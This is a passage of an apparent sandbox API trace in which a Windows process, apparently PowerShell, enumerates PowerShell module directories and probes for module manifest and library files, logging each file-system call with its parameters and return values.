lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0157.469] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\*"), lpFindFileData=0x5a2ea84 | out: lpFindFileData=0x5a2ea84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b49a8 [0157.469] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.470] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0157.470] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0157.470] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.470] FindClose (in: hFindFile=0x3b49a8 | out: hFindFile=0x3b49a8) returned 1 [0157.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea44) returned 1 [0157.470] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eca4) returned 1 [0157.471] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0157.471] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0157.471] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0157.471] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0157.471] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0157.471] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0157.472] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0157.472] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0157.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0157.472] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0157.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0157.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0157.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea24) returned 1 [0157.540] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a2ece8 | out: lpFileInformation=0x5a2ece8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0157.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea20) returned 1 [0157.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ecd4) returned 1 [0157.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0157.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0157.541] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\*"), lpFindFileData=0x5a2ea84 | out: lpFindFileData=0x5a2ea84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b49a8 [0157.541] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.541] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0157.541] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.541] FindClose (in: hFindFile=0x3b49a8 | out: hFindFile=0x3b49a8) returned 1 [0157.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea44) returned 1 [0157.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eca4) returned 1 [0157.541] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0157.541] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0157.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea28) returned 1 [0157.542] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2ecec | out: lpFileInformation=0x5a2ecec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0157.652] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea24) returned 1 [0157.652] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0157.652] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0157.653] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0157.653] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0157.653] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea4c) returned 1 [0157.653] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x232fea4 | out: lpFileInformation=0x232fea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0157.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea48) returned 1 [0157.654] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0157.654] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0157.654] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0157.655] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0157.655] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0157.655] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0157.655] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ecd4) returned 1 [0157.655] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0157.655] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0157.656] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\*"), lpFindFileData=0x5a2ea84 | out: lpFindFileData=0x5a2ea84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b49a8 [0157.656] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.656] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0157.656] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.656] FindClose (in: hFindFile=0x3b49a8 | out: hFindFile=0x3b49a8) returned 1 [0157.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea44) returned 1 [0157.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eca4) returned 1 [0157.656] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0157.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0157.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea28) returned 1 [0157.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2ecec | out: lpFileInformation=0x5a2ecec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0157.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea24) returned 1 [0157.746] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0157.746] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0157.746] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0157.746] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0157.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea4c) returned 1 [0157.746] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2331414 | out: lpFileInformation=0x2331414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0157.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea48) returned 1 [0157.746] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0157.747] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0157.747] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0157.747] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0157.747] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0157.748] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0157.751] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0x10 [0157.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ecd4) returned 1 [0157.753] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0157.753] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x36 [0157.753] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\*"), lpFindFileData=0x5a2ea84 | out: lpFindFileData=0x5a2ea84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b49a8 [0157.753] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa470afe0, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa470afe0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.754] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa470afe0, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xa4de2f20, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xa4de2f20, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cipher", cAlternateFileName="")) returned 1 [0157.754] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.754] FindClose (in: hFindFile=0x3b49a8 | out: hFindFile=0x3b49a8) returned 1 [0157.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea44) returned 1 [0157.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eca4) returned 1 [0157.754] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0157.754] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: 